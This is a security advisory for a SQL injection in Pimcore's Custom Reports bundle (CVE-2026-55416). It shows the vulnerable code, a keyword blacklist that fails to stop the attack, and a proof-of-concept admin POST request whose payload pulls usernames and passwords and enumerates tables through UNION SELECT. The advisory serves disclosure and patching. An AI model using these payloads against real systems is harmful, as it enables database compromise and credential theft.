pimcore/pimcore
Affected
- introduced
2026.1.0, fixed2026.1.6(ecosystem)
Fixed versions
2026.1.6
Fix
The export has no generic command for this ecosystem.
Advisory
Also known as: CVE-2026-55416
Pimcore: SQL Injection in Custom Reports via Malicious Report Configuration
Security Advisory: SQL Injection in Custom Reports via Malicious Report Configuration
Summary
Impact
A SQL injection vulnerability exists in the Custom Reports bundle (bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php:84-135). An authenticated attacker with reports_config permission can inject arbitrary SQL via the report configuration fields (sql, from, where, groupby), which are directly concatenated into SQL queries without parameterization. The only protection is a regex blacklist that checks for ALTER|CREATE|DROP|RENAME|TRUNCATE|UPDATE|DELETE keywords, which is trivially bypassable — it does not block INSERT, UNION SELECT, LOAD_FILE(), INTO OUTFILE, stacked queries, subqueries, or MySQL comment injection (/*!*/). Exploitation allows reading, modifying, or deleting all data in the database, leading to complete data compromise.
Additionally, the LIMIT clause at line 51 directly interpolates $offset and $limit without integer casting, creating a secondary injection point.
Patches
Versions 2026.1.6, 12.3.10, 11.5.19.
Workarounds
reports_config permission to only highly trusted administrators/admin/bundle/customreports/custom-report/update containing SQL keywords in the configuration parameterAttack Path (Validation Evidence)
[Entry Point] POST /admin/bundle/customreports/custom-report/update HTTP/1.1
↓ (requires reports_config permission + valid admin session)
[Controller] CustomReportController::updateAction()
↓ $configuration = decodeJson($request->request->getString('configuration'))
[Config Store] Configuration saved to custom_reports database table
[Config Load] Tool\Config::getByName() loads stdClass $config from DB
↓
[Adapter] Sql::getBaseQuery() → Sql::buildQueryString($config)
↓ Directly concatenates config fields:
[Vulnerable] $sql .= "\n" . $config['sql']; // Line 92
$sql .= "\n" . $config['from']; // Line 103
$sql .= "\n" . 'WHERE (' . $config['where'] . ')'; // Line 110
$sql .= "\n" . $config['groupby']; // Line 117
[Weak Guard] preg_match('/(ALTER|CREATE|DROP|RENAME|TRUNCATE|UPDATE|DELETE)\s/i', ...)
↓ ✗ Bypassable — missing INSERT, UNION, SELECT, subqueries, comments
[Execution] $db->fetchAllAssociative($sql); // Line 54
↓
[Impact] Arbitrary SQL execution — full database compromise
Taint Flow (Validation Evidence)
Source: $request->request->getString('configuration') (HTTP POST body, user-controlled)
↓ json_decode() → stdClass
[Store] Persistent in database (custom_reports table)
[Load] Config::getByName() → stdClass $config
↓ ✗ No sanitization (only bypassable regex blacklist)
[Sink] $db->fetchAllAssociative($concatenatedSql)
↓
Impact: Attacker-controlled SQL executed against the database
Proof of Concept
Steps
reports_config permissionRequest
POST /admin/bundle/customreports/custom-report/update HTTP/1.1
Host: <target-host>
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=<valid_admin_session>
name=malicious_report&configuration=%7B%22sql%22%3A%22SELECT%20id%2C%20username%2C%20password%20FROM%20users%22%2C%22from%22%3A%22users%22%2C%22where%22%3A%221%3D1%22%2C%22groupby%22%3A%22%22%2C%22dataSourceConfig%22%3A%7B%7D%7D
where field can be set to: 1=1 UNION SELECT TABLE_NAME, TABLE_SCHEMA, 1 FROM INFORMATION_SCHEMA.TABLES
to enumerate all database tables
Expected Result
The custom report returns rows from arbitrary tables beyond what was intended, proving successful SQL injection.
Affected Component
bundles/CustomReportsBundle/src/Tool/Adapter/Sql.phpbuildQueryString() (lines 84-135), getBaseQuery() (lines 137-216), getData() (lines 25-58)Pimcore\Bundle\CustomReportsBundle\Tool\Adapter\SqlFix Recommendation
Replace the custom SQL concatenation approach with a parameterized query builder:
// Instead of:
$sql .= "\n" . $config['sql'];
$sql .= "\n" . $config['from'];
$sql .= "\n" . 'WHERE (' . $config['where'] . ')';
// Use a whitelist-based approach:
// 1. Only allow predefined table names from a whitelist
// 2. Use Doctrine QueryBuilder for WHERE conditions
// 3. Use parameterized queries for all user-supplied values
// 4. Cast LIMIT/OFFSET to integers
$sql .= ' LIMIT ' . (int)$offset . ',' . (int)$limit;
Resources
High Basis: The source's own band: HIGH
2026.1.0, fixed 2026.1.6 (ecosystem)2026.1.6
The export has no generic command for this ecosystem.
12.0.0-RC1, fixed 12.3.10 (ecosystem)12.3.10
The export has no generic command for this ecosystem.
0, fixed 11.5.19 (ecosystem)11.5.19
The export has no generic command for this ecosystem.
Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0